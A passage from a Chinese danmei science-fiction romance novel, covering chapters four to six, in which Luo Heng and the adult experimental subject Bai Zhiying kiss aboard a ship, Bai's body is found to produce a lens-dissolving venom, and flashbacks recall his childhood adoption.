玛丽珍鞋的蝴蝶结歪了。 骆珩不可能不高兴给他使唤。 是柏之萤太龟毛,不给骆珩□□消下去的时间,看见了还要不高兴。 就因为这个,他扔完果切抱着枕头躺在床上,背对骆珩不理人的状态足足维持了二十分钟。 骆珩怕他气坏,走过去俯身掰他肩膀,看见一半侧脸,确信是光打雷不下雨,不过两个眼睛确实红着,里头浸着满满一层水光,漂亮的鼻尖皱着,红嘴唇也瘪瘪的,眼神不聚焦,浓密的长睫毛缓慢地张合,也湿着。 像真被骆珩给怎么着了一样。 骆珩只低头看了他一眼,就扭开了视线。 薄薄的肩膀随着抽泣轻轻颤抖,一片莹润细白的背毫无遮挡,线条越往腰间走收得越细,裙摆胡乱盖到大腿根,与一把细腰的衔接处倒肉乎。 骆珩用力咬了咬后槽牙,脑袋里滚过无数个脏得没法说的念头,浑身的肌肉都僵硬,连声带都发紧,哄柏之萤的话怎么都说不口,只能开门走了。 他怕他再多待一秒钟,就把柏之萤的那张嘴给亲烂。 那估计柏之萤是真要哭死了。 4. 第四章 第四章 等听见骆珩关门出去的声音,柏之萤就哭不出来了。 嘴巴不瘪了,抽气的动作也停了。 他刚才不是装的,但惹他的人是骆珩,现在骆珩逃走了,他哭给谁看呢。 柏之萤小时候就不是个爱哭的孩子,柏言蹊活着的时候,更是对他无敌宠溺喜爱。 可是他被章衔京领养之后,第一次在章衔京面前哭,是因为美术作业没得A,章衔京就骂他,说他不是个男人,还说他这样长大以后也会让人觉得输不起。 当时六岁的柏之萤嘴比较笨,本来穿着水手服样式的天蓝色校服站在书房的墙角抹眼泪,被他骂了几句以后,眼泪都不敢流了。 章衔京那个人,长了一副说什么都有说服力的模样,以至于过了好几年,柏之萤才想通,他为什么要输得起,输了不就不高兴么,不高兴就哭啊。 输得起算什么良好的品格。 不过,柏之萤非常聪明,适应了人类的学校以后,在学业上哭哭啼啼这种事就没再发生过。 再往后,柏之萤也因为这样那样的原因哭过较少的几次,不过是真的哭,不是像今天这样,因为羞涩难堪而撒娇——他当时实在离骆珩的裤子太近了,甚至到现在还能感觉到那股热气一样。他确实想让骆珩哄哄他的。 可以前无论他因为什么哭,章衔京都能找到攻击他的理由,什么事情都在柏之萤的身上找问题。章衔京次次都不安慰他。 柏之萤怀疑过,是不是自己哭起来惹人心烦。 还是后来有一次,柏之萤在房间哭的时候,莫名其妙拿起了手机打开了前置摄像头,发现里面的自己好看得要命,当即便不太能记得伤心的理由,情不自禁地欣赏了好一会儿。 才不再怀疑自己。 真是想不通,章衔京到底是怎么忍得住看他那样还要骂他的? 不过那是他很小的时候的事了。现在的柏之萤早就不在乎了。 既然章衔京不懂欣赏,那就让他滚吧。 现在看来,骆珩对他哭鼻子的反应也很一般。 虽说是没骂柏之萤吧,当然比章衔京是好得多,但沉默的守护柏之萤也感觉一般。 他还没把第二个“一般”两个字思考完,骆珩就又回来了。 他开门的动作比刚才关门还轻,正当柏之萤思考自己是该装睡,还是醒着的时候,骆珩已经绕到了他床的另一边,蹲下身体,与柏之萤面对面。 柏之萤没来得及关掉相机app,把手机屏幕朝下扣到床单上,瓮声瓮气道:“你还想干嘛。” 骆珩看着他的眼神很难讲清楚,柏之萤感到有些害怕,扯了扯被子,把自己裹住了。 “隐形眼镜摘了睡。”骆珩盯够了,才开口,“饿不饿?船员钓了鱼,我买了几条,叫他们蒸好送上来。” 柏之萤确实有点想吃东西。 不过不是鱼。 骆珩说话的时候,柏之萤的注意力都在他的嘴巴上,偶尔看他的鼻子和眼睛。 柏之萤对饭没兴趣,那嘴巴吃起来是什么感觉? 昨天骆珩帮他吹头发的时候,他就思考了一下这个问题。 柏之萤又往被子里缩了缩。 骆珩起身去洗干净手,又返回来,像剥花生一样地剥他,好歹让他露出了半张脸。 他把柏之萤摆成枕在他大腿上的姿势,保险起见,在腰腹部盖了张毯子,接着用一只手的拇指和食指撑开柏之萤的右眼。 骆珩的另一只手里拿着隐形眼镜的摘戴器,看了两秒,手悬在那里没动,问柏之萤:“自己摘了?跟你说过,不可以直接用手,眼睛会难受。” 为了假扮实验体诺亚,下午的时候,邵意还给柏之萤戴了墨绿色的美瞳。 在房间里不太明显,室外看起来柏之萤感觉自己就像外国人。 刚戴上时有些不舒服,好在很快就没什么感觉了。 柏之萤的脸被他的手肘压住一点,话说出来有些含糊:“没有啊。” 骆珩微微皱眉,凑得更近了些。 柏之萤闻到他身上的味道,手上香皂液的香气,衣服被浆洗过由体温烘出来的带着暖的洗涤剂香气,须后水的香气,还有什么说不清,共同构成了骆珩这个人的味道。 都很淡,可谁让骆珩离他那么近。 比刚才柏之萤距离骆珩的裤子还近。 柏之萤不舒服地动了动,马上就被骆珩拿胳膊肘摁住:“乖点,我看看。” 他换了只眼睛观察,还是跟刚才一样的动作,拿两根手指撑开柏之萤的眼皮,呼吸打在柏之萤的脸上。 吃嘴巴的时候,靠得比现在还近,骆珩的体温好高,呼吸也热,会烫到他的吧? 柏之萤抿着唇,转了转眼球。 骆珩顺着他这个动作,眼疾手快地用摘戴器从柏之萤的左眼里夹出来一小块东西——是一点点残破的美瞳碎片。 骆珩的脸色变得很严肃,动作很轻地又找了好久,接连问了柏之萤好几个问题。 但是柏之萤的眼睛确实不疼,不痒,也不难受。 反倒是骆珩来来回回翻他的眼皮,把他弄得有些流泪。 这次是生理性的泪水。 又再确认了几遍,柏之萤没有不舒服,骆珩总算肯放过他。 没有回他自己的床,骆珩还是坐在柏之萤的床边。 柏之萤拿被子把自己裹得很严实,不过没有滚远,还是枕在他的大腿上。 面对骆珩,柏之萤没有再犹豫太久,没太多心理压力地问出了那个问题:“你刚才怎么了?” 骆珩伸手,摸了摸他的头发:“等你长大就懂了。” “什么啊。”柏之萤被他这种故弄玄虚的样子搞得有些没意思,说,“这个我本来就懂好不好。我是问你跑什么?” 骆珩又看了他好一会儿,摸他头发的手稍稍下滑,便盖住柏之萤大半张脸,拇指在柏之萤下巴上轻轻地碰,眼底弥漫起一丝很浅但确实存在的笑意:“你懂,你懂什么?” “你喜欢我呗。”柏之萤的声音好像长着翅膀,一个字一个字飞到骆珩心上。 骆珩的嘴角牵了牵,眼底的笑意明显了很多:“对。” 他的指腹上有很粗的茧,柏之萤的皮肤又那么嫩,按理说柏之萤该不喜欢的。 但他今天没太想躲开。 柏之萤放任他摸自己的下巴,继续着自己的计划:“骆珩,其实我想跟你试试亲亲。” 有点糟糕。 柏之萤本来打算先问骆珩会不会亲亲的。 谁让骆珩不打招呼就捏他耳朵啊! 柏之萤感觉骆珩看上去像是呆了。 柏之萤没办法,只能破罐子破摔,艰难地从被子里把胳膊抽出来,握住骆珩的手臂晃了晃:“你听到没有,骆珩,你是不会吗?” 这不太应该啊。 骆珩八年多以前就跟他表白过,怎么想都该准备好了啊。 他的裤子刚才都被顶成那样了!! 柏之萤管不了那么多了,从床上爬起来,扒在骆珩的一侧肩膀上,嘴唇离他的侧脸很近,声音很轻地诱哄骆珩:“亲一下吧,亲完我就睡了,我再吃半条鱼好了吧?” 骆珩侧了侧身体,基本算是与柏之萤面对面。 他用一条手臂护在柏之萤的后腰,手掌撑着床,将柏之萤拦在他的胸膛和手臂之间。 听见骆珩“嗯”了声,并且看这个动作,是让柏之萤自己来的意思。 柏之萤十分欣喜。 他捧住骆珩的脸,嘴唇直奔重点,在骆珩吸引了他两天的嘴上印了一下。 干燥、温暖、柔软。 柏之萤下意识舔了舔唇,碰到骆珩的上唇,一股微小的电流通过舌尖窜入大脑,柏之萤发出一声很轻的“嗯”,有些没力气了,好在骆珩护着他,他倚到了骆珩的怀里。 脑袋里乱七八糟得好像在放烟花,柏之萤暂时就没注意到骆珩把他抱得有些疼。 缓了缓,柏之萤才找回点理智,用很赶时间的语气对骆珩说:“我现在要睡了,你买的鱼没做好不怪我吧?” 骆珩又装深沉,一言不发地把他塞进被子里。 柏之萤便睡了。 第二天刚起床,就发生了一件大好事。 骆珩不用他穿昨天那件看起来凉快其实因为布料特别少而让穿的人哪哪都不舒服的黑裙子了。 他从船上的小贩那里买来一套新港的特色服装,也是女孩子可以穿的,不过是分体的两件,由一件浅绿色的上衣和桃粉色的长裙组成,衣襟和裙身上都缀有碎花,看起来很有民族特色。 骆珩买的尺码还算合身,只有腰部有些松垮,骆珩又出去不知到哪找了枚别针。 柏之萤高高兴兴地到甲板上去晒太阳,邵意和那个猛犸融合体刚开始惋惜他不再穿性感衣物,后来又一直叫他“小娘惹、小娘惹”。 不过,柏之萤拿手机搜了下娘惹,最后认为这不是一种冒犯,便顾自趴在骆珩帮他找来的躺椅上晒太阳了。 没晒满足之前,他是不会搭理任何人的。 骆珩买的娘惹服有好几套,起初,骆珩拿来什么,柏之萤穿什么。 不过,艺术造诣高如柏之萤,很快就发现,骆珩的搭配能力实在难评,他就改为自己选衣服穿了。 骆珩也不像章衔京,对他的所有选择都要指指点点,想起来都烦得要死。 上船的第五天傍晚,日落时分,船上电力故障,突然停电了。 柏之萤很怕热,可能因为不爱出汗的体质,更加受不了长期待在没空调的地方。 他只能在晒好太阳该休息的时间继续待在甲板上。 可能是停电的原因,骆珩带的几个队员状态都比之前紧绷。 往往就是这种情况容易出事。 其他人都散落在船舱的各处,邵意陪在柏之萤身边。 骆珩则在五步远的地方靠栏杆站着,观察柏之萤周围的所有动向。 海风吹得还算舒服,待着也是待着,邵意每天都在关心柏之萤有没有被骆珩虐待,不过柏之萤除了晒太阳很少出现在房间外,她也无从得知。 趁着这个机会,她想跟柏之萤聊聊天。 但柏之萤不太接有关于骆珩的话题。 “诺亚。”她扯了下柏之萤的娘惹服上衣袖子,“我一直觉得你的名字很好听。” 诺亚,从圣经里直接拿来的,一股宗教味,含义不明,哪里好听? “你说柏之萤?” 邵意点点头:“我之前在新加上的军校,必修课有古诗词鉴赏。” 哦对,邵意是锡城本地人,母语不是中文。 “你名字总让我想起当时诗词鉴赏老师给我们放的一个视频,太阳刚落,天还没黑,树林是蓝绿色的,萤火虫突然大量飞起来,闪着明亮的光点。夏天,有微风的傍晚。” 柏之萤喜欢她这一段话。 夸他的话他就没有不喜欢的。 柏之萤对邵意的好感多了几分,决定把她给自己穿了那么不舒服的衣服的仇 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柏之萤的身世不是秘密,他作为第一个履行领养手续进入人类社会的实验体,原本就挺出名,后来他与章衔京解除领养关系结了婚,也是联盟内部很多人的常识。 这确实。 柏之萤刚到章衔京家没多久,章衔京当时的秘书就来问他,要不要改个名字。 秘书出于自身的关爱告诉柏之萤,随章姓会有助于拉近他和养父的心理距离。 柏之萤同意了,秘书便充分尊重他的意见,答应让他自己起名。 不幸的是,只过了半天,秘书便明确告诉柏之萤,章衔京不同意。 柏之萤问秘书,章衔京怎么说的,秘书一字不改地复述:“狗屁不通。” 邵意忍着笑问柏之萤:“你给自己起了个什么名??” 已经长大的柏之萤不太想讲,但已经聊到这里,也没什么不能说的。 “章冰萤龙诀泪。” 邵意爆发出一阵惊人的笑声,一个没坐稳,跌到了椅子下面去。 这个故事,加上邵意,柏之萤只讲给过两个人听过。 骆珩就没这么笑他。 柏之萤默默把刚才消除的十分之一的仇恨值给邵意加了回去。 没过多久,来电了。 柏之萤赶快向骆珩张开手臂,等他抱自己回房间。 不是柏之萤有那么懒惰,刚才是骆珩把他抱出来的,他没穿拖鞋。 不过,骆珩抱起了他,房间里又重新供上了冷气,柏之萤就没那么想从骆珩身上下来了。 他摊开自己,让自己的胳膊、胸脯、腿和脚全部贴着骆珩。 能把骆珩一口一口吃掉就好了。柏之萤想。 不过吃人的那个不知怎么就变成了骆珩。 跟前几天一样柏之萤碰一碰就该停止的亲亲因骆珩反手捏住柏之萤的脖子而被迫延长了十秒钟! 柏之萤亲自数的绝对不可能冤枉骆珩!! 时间接近凌晨十二点,柏之萤上一秒因为骆珩不尊重他而大感愤怒,下一秒又觉得感觉着实不错而深深地羞涩,最终在骆珩怀里以一个十分纠结的表情睡熟了。 骆珩守在他旁边好一会儿,才起身,轻轻带上门出去了。 他到甲板上给自己很多年前的同窗打电话,同窗从医,现在已是南加颇有威望的融合体研究专家,对柏之萤的情况,应该能有最新的见解。 时间挺晚了,那边竟然也没睡,听着还挺热闹。 骆珩没心思寒暄,开门见山地问:“二十六年都没分化的实验体,有可能突然觉醒吗?” “什么症状?”对面问。 “身体应该产生了某种毒液,我测试过,到今天,最多四十分钟,隐形眼镜就能完全化光。毒性一直在加强。”骆珩握着手机,海风吹在他脸上,吹不散上面因兴奋和充血残留的热意,“性成熟早期的迹象,躁动很明显。” 对面长长地“哦”了一声:“那你要注意啊。” “注意什么?” “憋了二十六年才成熟的身体,勾引起来威力肯定大。你注意别把人给操-坏了。” 骆珩:“……” 骆珩:“嘴巴放干净点。我问你他有没有事?我打算尽快带他回南加检查,你准备一下。” 对面道:“思路对的,尽快回来。” 骆珩的食指轻轻扣手机的边缘,对面有人搭话,匆匆挂了,说稍后回电。 骆珩在甲板上继续待了十分钟,决定先回房间陪柏之萤。 他是睡着了,可睡着之前,说过不许骆珩离开。 电话在骆珩开门前回了过来,问骆珩:“柏之萤的思维现在还正常吗?有没有受影响?身体有没有虫样化结构出现?” “都还没有。”说完,骆珩顿了片刻,保险起见,又问,“思维……比以前爱撒娇,算么?” “……我操。”对面似乎有点被骆珩的语气吓到,声音由近变远,应该是确定了眼手机屏幕上的通话人姓名,“骆珩你真他妈恶心。这回等章衔京出来,真能杀了你,孙子,兄弟劝你一句,真悠着点吧,不然被剁成臊子都算便宜你。” 两百零四天前,骆珩在一场有锡城监察局人员参与的任务中,因意外造成全身大大小小不计其数的肌肉挫伤、脏器出血、九处粉碎性骨折,陷入因海马体受损导致的昏迷。 六天前,他拆掉最后一处石膏,上了飞锡城的直升机,直达锡城特种生物研究所。 今天,他就又被锡城监察局长的老婆撒上娇了。 这小子还真挺难杀。 5. 第五章 第五章 下午五点,船只在经停码头靠岸,骆珩的文书官墨云上了船。 他是墨鱼融合体,老公也是,年初刚结婚就产下一窝小墨鱼仔,和老公一起休了产假。 骆珩参加过他的婚礼没几天就去出任务,如果不算骆珩昏迷那段时间墨云去探望的话,上下级两人有段时间没见过面了。 墨云上船后先去自己房间,到了晚上,见骆珩迟迟不回消息,才到甲板上去找人。 骆珩不在,不过找到了锡城特勤科的几位同僚。 “墨云。” “邵意。” 两人握了握手。 张展轩和猛犸融合体站得离他们不远,但没打招呼。互相装不认识。 “老大呢,下船了?”墨云问。 “房间里,诺亚病了,骆队这两天也不太出来。” 邵意有些担心,柏之萤该不会是怕骆珩怕得吓病了吧。 把狼和兔关同一个笼子里,实在有违人道主义。 “柏之萤?”墨云挑了挑眉,“他一直在船上待着?他能吃得了这苦?” 邵意左右环顾一圈,这船确实不算豪华,但也没墨云说得那么差吧。 墨云笑了一下,语气倒挺温和:“不错啊,长大了。” 邵意道:“你认识他?” 墨云笑容更深:“何止认识。” “他小时候,我还抱过他呢。” 跟锡城特勤科来的这几个不一样,墨云从很多年前就在骆珩的团队里,担任文书工作,自然对他的过去如数家珍。 十四年前,一封打章衔京的议员办公室发来的研学考察协作通知函刚落到墨云的邮箱,没来得及跟骆珩请示,柏之萤的直升机就落地了。 一大群人跟着他,伺候他的衣食住行,十二岁的小孩儿,做派俨然大小姐驾到,严肃的军事重地,成了他的游学基地。 这种事从没发生在骆珩的驻地过,为了不把他跟章衔京的关系搞得太差,后勤部的人客气接待着,但也心知肚明,柏之萤的下场有两个: 一,骆珩不在,由工作人员来通知他被拒绝进入驻地。 二,骆珩马上就到,这位看着皮薄面嫩的少爷就将遭受人生第一次滑铁卢。 不说别的,被骆珩看垃圾的眼神看上一眼,心理崩溃能持续十天。 可柏之萤竟然顺利拿到了通行证,浑身的不知所谓,左顾右盼进了访客大楼,跟随行的人商量第二天先去哪片湿地。 等柏之萤走了,来送通行证的同事才告诉墨云,柏之萤跟骆珩之间,还颇有渊源。 可能就因为这个,骆珩肯对他网开一面。 柏之萤六岁那年,人道主义援助组织最初定给柏之萤的领养人,不是章衔京,而是骆珩。 但那时骆珩有紧急的任务要出,柏之萤在赶往新港的路上高烧不退,志愿者不敢贸然拖延,将他送进医院,一住就是半个月。 骆珩哪有那么多时间在家等他,别说半个月,多半天都没有。 出院后的柏之萤重新回到援助组织,兜兜转转,在三个月后等到了带着媒体车去接他的章衔京。 章衔京的政治人设也就此改变,从下销毁令时铁面无情的所长,变成了关心实验体人权的议员。 有心人都能记得住,收养柏之萤后那些年中,为规范化融合基因实验体的制造与后续生活保障所立的法案中,大多有章衔京的姓名。 他仕途一片光明,很少有人再提锡城特种生物研究所在血腥中摸索的建立阶段。 后来,柏之萤刚成年,就被他带去领了结婚证。 而那时,南加办公室的人都以为,柏之萤一定是会跟骆珩结婚。 上船后的第七天,柏之萤的厌食情绪到达顶峰。 他窝在房间,没精打采。 骆珩早晚两次带他坐小艇下船看医生,得到的结果都是柏之萤的身体机能一切都好,大概率只是晕船。 可晕船药没起任何作用。 “阿萤,除了没力气,还感觉哪里难受?你再好好想想。” 柏之萤摇摇头。 柏之萤从小厌恶生病,习惯使然,他对自己的身体很细心,了解,也很慎重,知道情况远没有骆珩担心得那么严重。 只不过船上无聊,没有其他事可做,除了看看书,远程操控他实验室里那些小白鼠,柏之萤只能发呆。 骆珩却不怎么同意这个观点。 “那就先这样。”骆珩也不想总拿这个让柏之萤心烦,“明天我们就能到新港,等办完事,带你回南加做检查。” 柏之萤停下翻书的动作:“走之前你怎么不说还要去南加。” “说了你婆婆更不让你走了。” “那你是在骗人。” “没骗你。”骆珩蹲在他面前,单膝跪地的姿势,一手搭在柏之萤坐着的沙发扶手上,靠得柏之萤很近,“我最近两天才发现你好像有点问题,不过不用担心,南加有最好的医院和大夫,最先进的设备,查过之后,就什么都清楚了。” 柏之萤并不是那种愿意被人自作主张来安排的人,骆珩从意识到他可能有异常之后,就没打算隐瞒什么,此时的语气也很能令柏之萤安心。 柏之萤果然没有大惊小怪,想了想,说:“到时候再说吧。你觉得我哪里不正常?” “宝贝,你现在连隐形眼镜都戴不住。”骆珩摸摸他的脸,“当初除了萤光基因,柏教授到底还给你融合了什么?” 柏之萤被他叫“宝贝”叫得皱了皱脸,摇摇头:“我不知道,他走得太突然,什么都没来得及说。” 说完,柏之萤伸手碰了碰自己的眼角,感觉有些缺乏常识的好笑:“我以前没戴过,还以为邵意给的这种一次性的隐形眼镜就是戴着戴着就没了呢。原来是我不正常了啊。” 骆珩被他刚才抗拒“宝贝”的下意识反应刺了一下,随即也笑:“一只有毒的萤火虫。” 柏之萤若有所思:“那、那你……” 这两天,骆珩吃东西尝不出味道。 之前,柏之萤跟其他队员都以为他是被柏之萤给传染上了感冒。 骆珩也才想到这一茬。 要是柏之萤的眼睛里有足以溶解镜片的东西,那每天例行被骆珩浅尝一次的嘴巴里也可能是同样的道理。 他起了兴致,起身托了下柏之萤,很轻松地换成了自己坐在沙发上、柏之萤面对面坐在他怀里的姿势。 骆珩两指捏着柏之萤的脸颊,把他的嘴巴挤得张开一个小口,能看到里头嫩红的一小节舌尖。 看得人脊椎发麻,一直麻到天灵盖。 骆珩没犹豫,凑过去含住下唇,很下流地伸舌头吮了一口。 甜得沁到人心里,绵软得不可思议。 骆珩就继续捏着柏之萤的脸,没松开,再向靠近自己的方向微微用力,柏之萤的头就完全动不了。 骆珩的另一只大手则牢牢按住柏之萤绷紧准备挣扎的后腰,将人禁锢在怀中。 没有人的嘴唇能软成这样。 柏之萤第一次凑上去亲骆珩的时候,虽然只有轻轻的一碰,但骆珩的脑子就爽得过电,只留下这么一个想法。 柏之萤的也不可能。 软成这样,骆珩只能死在他的嘴上了。 昨天,他实在没忍住夺了点主动权,亲了柏之萤估计连三秒钟都不到,柏之萤把他给捶了个半死。 说准确点,应该是柏之萤因为捶他而把自己累了个半死。 骆珩原本打算近几天不再逗他,毕竟柏之萤这个没精打采的样子虽然也令人心痒手痒很想犯贱,可骆珩知道,还没到要释放很多肮脏念头的时候。 一则,普通人类的寿命都进化到两百岁,实验体的寿命较之人类要更长得多,加上一直没有基因觉醒,其实柏之萤现在还小,最近开始对这些事感到好奇,主要原因应该还是性成熟早期的躁动驱使; 和骆珩对他的渴望不同。 二则,他还有婚姻关系留存。融合基因实验体的道德观多少与人类不同,柏之萤的脑回路在这方面又简单天真,但骆珩是个有着丰富的社会经验的成年人,再喜欢柏之萤,也不能真在这种情况下诓骗蛊惑。 柏之萤亲骆珩,那叫探索。 骆珩亲柏之萤,叫…… 他现在正亲着。 下不为例,只是为了试试毒性。 况且,骆珩感觉,柏之萤还没对章衔京到了深恶痛绝的地步。 柏之萤被亲得毫无还手之力。 单纯讲事实的话,他前几天对骆珩做的那些,都太小儿科。 骆珩忍得艰难,完全是因为对柏之萤本人没有抵抗能力。 要动真格的,柏之萤不会是骆珩这种见了他脑子就不干净的人的对手。 他的一侧肩膀抵在骆珩的胸口,歪着头把脸靠在骆珩肩上,一手从刚才换不上气的时候开始就下意识攥着骆珩衬衣上的扣子,另一只手被骆珩牵起,贴在自己脸上。 “打吧。”骆珩说。 柏之萤的胳膊软绵绵的,骆珩刚松开,他的手就重新掉回腿上。 骆珩低头看被自己亲得呆掉的人,脸蛋潮红,嘴唇湿润红肿,长睫毛垂着,看不清眼神。 骆珩轻轻抖了下腿:“阿萤?” “宝贝?”骆珩自取其辱,感觉到柏之萤在他怀里颤了一颤。 “真生气了?” 骆珩捏着柏之萤的下巴,叫人抬起头,但柏之萤眼睛里没有愤怒,水乎乎地看着他,嗓音也浸着潮湿:“你会亲,以前为什么不做。” “……不是昨天还打我?” “你又不疼。” “我是不疼,你疼啊。” “其实我昨天就想问了。”柏之萤突然结巴了一下,但还是说,“不过,当时有点害羞。” “原来我们柏之萤打人是因为害羞啊。”骆珩假装自己刚知道。 柏之 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不过,骆珩在最初确定接收柏之萤时,志愿者就帮他们俩加了联系方式。 回家给私人生活手机充上电开机,除了最上面骆珩走的时候发给柏之萤的“等我回来”,密密麻麻的是柏之萤在住院的十五天和重回援助组织的三个月里给他发过的短信。 “叔叔,我今天只用吃三顿药,你说,我是不是快好了?” “叔叔,我特别想快点好,志愿者姐姐告诉我,新港的新家很大,叔叔人也很好,一直在等我,我很不愿意在这时候生病。” “骆叔叔,我退烧了,医生说可能三天就可以出院了,不打扰的话,我想问问您什么时候回家?” “骆叔叔,调查结果出来了,有人通知过您吗?志愿者姐姐说她发给您了,但我还是想再跟您说一声,警察也说,我柏爸爸不是我杀的,是以前的枪伤引起的感染和辐射影响,我真的没有杀人,我爸爸最后还跟我说让我好好活下去,我还是个小孩子,我不会杀人的,我也没有异能,不会伤害任何人,到了您家里,也会乖乖听话。” “骆叔叔,我跟志愿者姐姐又回锡城了,这几天来过好多人给我做测试,确定我没有暴力倾向,研究所也给了认证。所以,等您结束工作后回家,我下次再去新港,应该可以坐飞机,就不用您等那么久,之前浪费了您的时间,我实在是很抱歉。” “骆叔叔,今天下午我觉得特别想您,就没忍住给您打了电话,您的手机还是没开机,我在语音信箱留言了,不过我以前没有留过,不确定操作是否正确,您能听到吗?期待您的回信。” …… “骗子骗子骗子,不想领养小孩就别答应别人啊,你忙,我的时间就不是时间?不知道小孩长大就不可爱了吗?好在现在我要去别人家了,再也不见!大骗子!!” 当时骆珩刚洗完澡,穿着一条大裤衩大剌剌坐在客厅的地毯上,边看短信边捞过沙发上的平板,不嫌麻烦地搜索前段时间的新闻界面。 章衔京家里和办公室都下了大功夫,这个收养过程的头条发的堪比直播。 他帮柏之萤整理小西装的袖口,都有无数条水军吹赞他的温柔和爱心。 骆珩在平板和手机屏幕上来回比对,确定柏之萤不再对他讨好、客气、跟他撕破脸的短信,是在章衔京接柏之萤回家以后。 也许连一个小时都没过。 这小孩。 骆珩握着手机,弱智一样地笑了好一会儿,才勉强停下。 到了晚上躺上床,也还是时不时想起来就笑。 也想过,看来锡城研究所的实验体被教育得挺好,比人类小孩聪明,识这么多字,措辞也完全不像只有六岁。 只有语音信箱里稚嫩的声音,能跟柏之萤白嫩肉乎的小脸蛋对应得上。 额前深栗色的头发微卷,长得就像个娃娃。骆珩早先不认为自己能把他照顾好。 可当下骆珩又想,要是他没被紧急叫走,真把柏之萤接回了家,没准真没他想象中那么麻烦。 后来过了几年,十几年,他再见柏之萤,他爱上柏之萤,他想到当初那些信息,再也笑不出来了。 那时候,柏言蹊刚死,揣测是实验体引诱研究员带其叛逃后又反杀研究员的流言蜚语没停歇过。 媒体的盛大狂欢,在整个国家营造出一种人心惶惶的舆论氛围。 那时还没卸任研究所所长的章衔京的销毁令也还没失效,柏之萤缩在被子里给骆珩打那些字发那么多短信的时候,一定都是哭着的。 志愿者把他看得紧,那些发信时间,条条都是半夜。 柏之萤是因为害怕所以才整夜睡不着吧。 这些年里,骆珩把那些短信回看很多遍,遍遍觉得自己真心该死。 6. 第六章 第六章 柏之萤对墨云的到来惊喜万分。 他十二岁那年,在纪录片里看到南加有一片岛屿,没受过污染,被保护得很好,海陆空三类物种都十分富饶,令他心动得厉害。 可能章衔京正看他暑假在家不顺眼,当即将他打包送走。 不巧的是,那片岛刚好在骆珩的驻地内,当时的柏之萤到了才知道,自己进入军事重地,又人生地不熟,晚上露了一面的骆珩看起来是个杀人不眨眼的超级冰块,穿军装有枪的人比西装革履人模人样的章衔京能给他的恐惧多得多,他生怕自己行差踏错就被枪毙,给章衔京打电话诉说,只得到章衔京的一通嘲讽。 幸好有墨云一直陪着他。 尽管后来墨云对柏之萤解释过,他的工作是监督柏之萤不做研学考察之外的事情,如果有的话,立刻上报军部——骆珩,柏之萤就要有苦头吃了。 但柏之萤不是很在乎。 毕竟墨云见他的第一面,就夸他长得漂亮,还叫他宝贝。 说话好听的人,能坏到哪里去。 这话在当时差点把墨云给笑死,抱着右脚完全陷进泥淖里后崩溃的柏之萤继续走,没忍住腾出一只手捏了把他的脸。 那时的柏之萤又在网页上自己做过一些心理分析的问卷,自己确诊童年创伤是缺乏母爱,见墨云虽是男儿身,但相貌好看,气质温润,的确很妈妈,不禁为自己的研学之行叫好。 他真是天才,既学到了知识,又帮uncle找到了老婆。 说到这里,柏之萤在援助所刚见到领养人章衔京时,张嘴就叫daddy,把章衔京叫得眉间微蹙,沉默了半分钟,才对他说,以后叫uncle就好。 uncle的老婆最多算婶婶,不是妈妈。 所以,那次研学后回家,柏之萤又开始叫章衔京daddy,把章衔京叫得一个头两个大。 柏之萤坚持不改口,章衔京他妈官凌霄倒是开心,认为柏之萤对章衔京产生了真实的孺慕之情。 不过,柏之萤完美无缺的计划因两方当事人都不配合而失败得彻底:他对章衔京和墨云的拉郎配,以墨云火速有了男友终结。 得知这个消息,柏之萤还曾真情实感地伤心过。 章衔京被他哭得心烦,摔门走了,柏之萤也躺回床上,想在相机里看自己哪只眼睛更肿一些,没成想被自己的楚楚可怜迷住,第一次知道有人哭起来也这么好看,没忍住自拍了十八张。 不过,后来柏之萤去骆珩的驻地就跟回家一样,他和墨云的联系,就这么一直维持了下去。 自从今年年初,章衔京和骆珩在墨云的婚礼过后起了冲突,柏之萤被章衔京带回锡城,处于隐形的禁足状态。 骆珩也一直在任务中,柏之萤和墨云才再没机会见过。 这回要是章衔京好好地在锡城,跟骆珩两个人又不知道要掐成什么样。 柏之萤甩了甩头,不想了。 两人走到甲板的休息区,柏之萤挑了把绿色的遮阳伞,在桌边坐下,等墨云买好饮料过来。 等候的时间里,柏之萤两只手托着下巴,眼睛还一直看着在收银台点单的墨云。 墨云拿着饮料回来,他就拖着椅子,跟墨云挨着坐。 两人平时有信息来往,偶尔也会视讯,不过,隔着屏幕,还是跟真见面不太一样。 柏之萤催促墨云打开手机相册,一起看他的宝宝。 看着看着,柏之萤又有些吃醋。 墨云好笑地摸了摸他的头发:“都多大了,跟不满一岁的争宠?” 再大也争。 柏之萤叹了口气,说:“我那时候真的很想让你跟章衔京结婚,你就可以做我的妈妈了。” 这话他小时候就说过无数遍,说一次墨云无语一次。 这回,墨云却认真道:“你把他踹了,我就离婚追他。” “……骗人。”柏之萤撇了撇嘴,不上他的当,“你就是想让我跟骆珩在一起。” 墨云喝了口饮料:“你自己不想啊?” “不告诉你。”柏之萤道,“你怎么不问章衔京最近到底怎么了?” “老大问你了?” “没有。” “那不就好了。”墨云把卡在头上的墨镜摘下来,挂到胸口,“我只需要关心老大关心的问题,至于其他的……你不是还好好的吗,要是该急,老大早急了。” 墨云补充:“再说,你这细胳膊细腿,蹦高了能把自己腿摔断,能把章衔京怎么着?早年他也在军部待过十来年,能杀他的人我还没见过。” 被人怀疑很烦,不被人怀疑也烦。 柏之萤换了个话题,问墨云跟新婚老公的八卦,墨云被他几句话问红了脸,转而揶揄他穿裙子穿得理所当然,难道其实是个小姑娘。 两个人聊到天都黑了,骆珩才走过来,给柏之萤披了件衣服。 他刚才一直在旁边的栏杆处等着,墨云知道他不想打扰柏之萤的心情,所以也才开口问:“明天我带他们下船,阿萤怎么办?” “那你多久回来接我?”柏之萤听了,顺着他披衣服的动作往后靠,后脑勺抵在骆珩腰间,努力仰头看他,“不是说,还要去南加检查身体么。” 邵意从隔壁过来,见柏之萤竟然不惊讶他不用跟着一起去,道:“你知道其实不用你去啊。” “是啊,用我我也不去。你们带仿生人吧,我一点武力值都没有,枪也用得一般般,去了很容易受伤的。” 柏之萤感觉靠着骆珩后仰头的动作有点勒脖子,又重新坐起来,喝第三杯饮料。 邵意:期待中柏之萤知道自己穿了八天女装实际上是被耍了以后的愤怒并没有出现,感觉有点失落是怎么回事? 猛犸融合体回消息很快:我懂你,有时被美女恨也是一种恩赐。 邵意迷茫道:“那你还愿意配合我们穿裙子。” 柏之萤捧着满是水珠的冰凉杯壁道:“我本来的身份也有点敏感,扮成诺亚比较方便啊,而且就算暴露,他们知道我乔装来找老公,也很合理,更证明我们是真心想做交易。” 